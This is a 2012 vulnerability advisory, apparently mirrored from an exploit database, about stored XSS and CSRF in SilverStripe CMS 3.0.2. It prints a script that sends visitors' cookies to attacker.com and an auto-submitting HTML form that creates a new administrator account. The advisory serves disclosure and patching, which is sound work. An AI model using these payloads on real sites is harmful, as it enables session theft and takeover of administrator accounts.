SilverStripe CMS 3.0.2 Multiple Vulnerabilities

🗓️ 30 Nov 2012 00:00:00Reported by Sense of SecurityType

zdt🔗 0day.today👁 29 Views

SilverStripe CMS 3.0.2 Multiple Vulnerabilities on Windows with medium severity. Privilege escalation and cross-site scripting possible from remote with authentication, allowing attackers to execute malicious code and reset Administrator password without confirmation. Upgrade to version 3.0.3 recommended

Product.                   SilverStripe CMS
Platform.                  Windows
Affected versions.         3.0.2
Severity Rating.           Medium
Impact.                    Privilege escalation, cross-site scripting
Attack Vector.             From remote with authentication
Solution Status.           Upgrade to version 3.0.3
CVE reference.             CVE - not yet assigned
 
Details.
SilverStripe CMS is an open source web content management
system used to build websites, intranets, and web applications.
SilverStripe is vulnerable to a stored Cross-Site Scripting (XSS)
vulnerability and Cross-Site Request Forgeries (CSRF).
 
Stored XSS:
The site title field in the configuration page fails to securely
output encode stored values. As a result, an authenticated attacker
can trigger the application to store a malicious string by entering
the values into the site title field. When a user visits the web
site, the malicious code will be executed in the client browser.
 
Proof of Concept XSS:
Enter the below into the site title field:
<script>document.location="http://attacker.com/stealcookie.php?cookie="
+ document.cookie</script>
 
When any user visits the web site the above client-side code will be
executed in the client browser to steal their cookie. The following
page is vulnerable:
http://www.website.com/admin/settings/
 
CSRF:
The privilege escalation is possible because the form used to change
user account passwords does not require the user to confirm their
current password and is vulnerable to CSRF. An attacker can reset an
Administrator password by creating a malicious web site that sends a
POST request to change the current user's password while they are
logged into the CMS. This vulnerability can be combined with the above
XSS to force the user to visit the malicious web site as soon as the
user logs into the CMS. The only item required to create the CSRF is
the SecurityID value which can be extracted from many pages in the CMS.
After sending the request the attacker can login as a new Administrator
with the credentials detailed below.
 
Proof of Concept CSRF:
Example CSRF Request to create a new admin user with limited CSRF
protection enabled:
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="
http://x.x.x.x/admin/security/EditForm/field/Members/item/new/ItemEditForm"
name="form" method="POST">
<input type="text" name="FirstName" value="Alan">
<input type="text" name="LastName" value="Jackson">
<input type="text" name="Email" value="[email protected]">
<input type="text" name=" Password[_Password]" value="Squash!">
<input type="text" name=" Password[_ConfirmPassword]" value="Squash!">
<input type="text" name="Locale" value="en_GB">
<input type="text" name="SecurityID" value="528475a4e3c260bdffa3046c2b">
<input type="text" name="action_doSave" value="1">
</form>
</body><br>
</html>
 
Solution.
Upgrade to version 3.0.3.

#  0day.today [2018-04-02]  #

30 Nov 2012 00:00Current

6.9Medium risk

Vulners AI Score6.9